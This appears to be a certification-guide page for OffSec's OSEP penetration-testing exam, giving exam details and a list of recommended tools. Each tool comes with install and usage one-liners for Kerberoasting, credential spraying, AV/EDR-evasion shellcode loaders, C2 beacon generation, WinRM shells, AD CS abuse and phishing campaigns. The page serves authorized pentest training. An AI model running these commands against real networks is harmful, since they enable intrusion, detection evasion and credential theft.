OSEP
OffSec

Offensive Security Experienced Pentester

Expert 48hr practical exam + report Pass: 100+ points $1,499

Advanced evasion, custom exploits, AD attacks. Continuation of OSCP.

Official Page
IssuerOffSec
Format48hr practical exam + report
Duration72 hours total
Pass Score100+ points
Valid For3y
Recommended Tools
CrackMapExec Essential
Active Directory

Swiss army knife for AD pentesting

installpip3 install crackmapexec
usagecme smb 10.10.10.0/24 -u user -p pass -M spider_plus
PowerView Essential
Active Directory

PowerShell AD enumeration toolkit

installImport-Module PowerView.ps1
usageGet-DomainUser -SPN; Get-DomainComputer -Unconstrained
Rubeus Essential
Active Directory

Kerberos interaction and abuse toolset

installBuild from source or prebuilt
usageRubeus.exe kerberoast /outfile:hashes.txt
Donut Essential
AV Evasion

Converts .NET/PE to position-independent shellcode

installpip3 install donut-shellcode
usagedonut -f 1 -a 2 -o shellcode.bin Rubeus.exe
ScareCrow Essential
AV Evasion

EDR bypass payload framework

installgit clone https://github.com/optiv/ScareCrow
usageScareCrow -I shellcode.bin -Loader binary -domain microsoft.com
ThreatCheck Essential
AV Evasion

Identifies AV-triggering bytes in binaries

installgit clone https://github.com/rasta-mouse/ThreatCheck && dotnet build
usageThreatCheck.exe -f beacon.exe -e Defender
Cobalt Strike Essential
C2 Frameworks

Industry-standard C2 for adversary simulation

installLicensed from HelpSystems
usageteamserver 10.10.14.x pass profile.c2; connect via client
Sliver Essential
C2 Frameworks

Open-source cross-platform C2 framework

installgo install github.com/BishopFox/sliver/client@latest
usagesliver-server; generate --http 10.10.14.x --os windows -o beacon.exe
Certify Essential
Evasion

AD CS certificate abuse tool

installBuild from source
usageCertify.exe find /vulnerable
Evil-WinRM Essential
Lateral Movement

WinRM exploitation shell

installgem install evil-winrm
usageevil-winrm -i target -u user -p pass -s /path/to/scripts
PowerUpSQL Essential
MSSQL

PowerShell MSSQL attack toolkit

installImport-Module PowerUpSQL.ps1
usageGet-SQLInstanceDomain | Get-SQLServerInfo -Verbose
GoPhish
Phishing

Open-source phishing framework

installgo install github.com/gophish/gophish@latest
usage./gophish; manage campaigns at https://localhost:3333